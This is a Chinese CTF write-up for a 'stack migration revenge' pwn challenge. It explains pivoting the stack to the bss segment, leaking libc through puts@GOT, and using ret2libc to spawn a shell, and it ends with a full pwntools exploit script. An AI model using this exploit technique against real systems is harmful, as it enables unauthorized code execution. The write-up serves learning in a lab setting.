New-Star-Week 3-pwn stack migration revenge
开了NX和full relro
只溢出了8个字节,典型的栈迁移,这次迁移到bss段上。(以前做过的都是栈上的,特此记录。)
只要认真计算,可以不使用pop_rbp就完成条件。
-
首先要栈迁移到bss段上,所以要想办法对让read往bss段里输入,这时候要直到,read对buf的确定是rbp-0x50,也就是只要第一次把rbp改成bss段(选址要找好,否则会有问题,这个放在最后谈。)
一定不是因为我刚开始就选错了 -
然后注意要跳转的地方
-
-
直接跳转到这里,不要让你
亲爱的rbp跟着rsp跑了。第一波输入:
payload = p64(bss_addr+0x100)+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(main_addr)
payload = payload.ljust(0x50,b'A')+p64(bss_addr-0x50)+p64(leave_ret)
由于是距离rbp-0x50的地方输入,所以输入的开头位置会是bss_addr-0x50,也就是最后自己的leave会返回到输入的位置,并且把第一个输入pop给rbp(这里不能让rbp再赋予bss_addr,而是要多加一点,不能影响到)至于为什么,我再卖个关子,最后说 》__《
-
这里接收到puts后,可以泄露libc基地址,然后再迁移打ret2libc
payload = p64(0)+p64(pop_rdi)+p64(bin_sh)+p64(ret)+p64(system_addr) payload = payload.ljust(0x50,b'A')+p64(bss_addr+0x100-0x50)+p64(leave_ret)
这里稍微解释一下吧:bss+0x100是上一次打入rbp的地址,输入地址是rbp-0x50,由于我在脚本中叫“main”的函数的最后有个leave ,所以会跳转到bss+0x100,这里刚好被写入了我输入的倒数第二个数据,使得rbp这里还有一个伪装的rbp,leave完毕后rbp变成我写的这个bss_addr+0x100-0x50,然后ret到leave_ret,将rsp挪到假rbp位置,然后pop rbp,由于rbp我不用再管了,干脆给了个0,然后继续往下执行system。
-
第一个问题:选择bss的地址,既不能破坏原有数据,也要有足够的空间!!!!,反正最后一个页表是空的,多往下找一点,因为system在执行的时候会有扩展栈的行为,这时候就会用到相对低地址的地方,然后就失败了。
-
第二个问题:如果再次让bss_addr作为rbp,那么你就会发现,你会把自己接下来执行的东西改掉。因为本身rsp会到到rbp-0x50+8,如果这么做,接下来的代码就变成你新添加的一部分了
会是填充的A,别问我怎么知道的,问就是干过。总之:看着官方WP找到了自己的好多错误,还是有很多基础的东西需要补充的。
from pwn import*
context(log_level='debug',arch='amd64',os='linux')
p=process('./pwn')
#p=remote('node4.buuoj.cn',25516)
sl = lambda s :p.sendline(s)
sd = lambda s :p.send(s)
rc = lambda s :p.recv(s)
ru = lambda s :p.recvuntil(s)
rl = lambda :p.recvline()
pop_rdi = 0x00000000004012b3
pop_rsi_r15 = 0x00000000004012b1
leave_ret = 0x401227
ret = 0x000000000040101a
#pop_rbp = 0x000000000040115d
puts_plt = 0x401060
puts_got = 0x403FD8
main_addr = 0x4011f3
bss_addr = 0x404900
payload =b'A'*0x50+p64(bss_addr)+p64(main_addr)
gdb.attach(p)
sd(payload)
#rl()
payload = p64(bss_addr+0x100)+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(main_addr)
payload = payload.ljust(0x50,b'A')+p64(bss_addr-0x50)+p64(leave_ret)
#gdb.attach(p)
sd(payload)
puts_addr = u64(ru(b'\x7f')[-6:].ljust(8,b'\x00'))
print(hex(puts_addr))
libc=ELF('./libc.so.6')
libc_base = puts_addr -libc.sym['puts']
system_addr = libc_base +libc.sym['system']
bin_sh = libc_base + next(libc.search(b'/bin/sh'))
print(hex(libc_base))
payload = p64(0)+p64(pop_rdi)+p64(bin_sh)+p64(ret)+p64(system_addr)
payload = payload.ljust(0x50,b'A')+p64(bss_addr+0x100-0x50)+p64(leave_ret)
gdb.attach(p)
sd(payload)
p.interactive()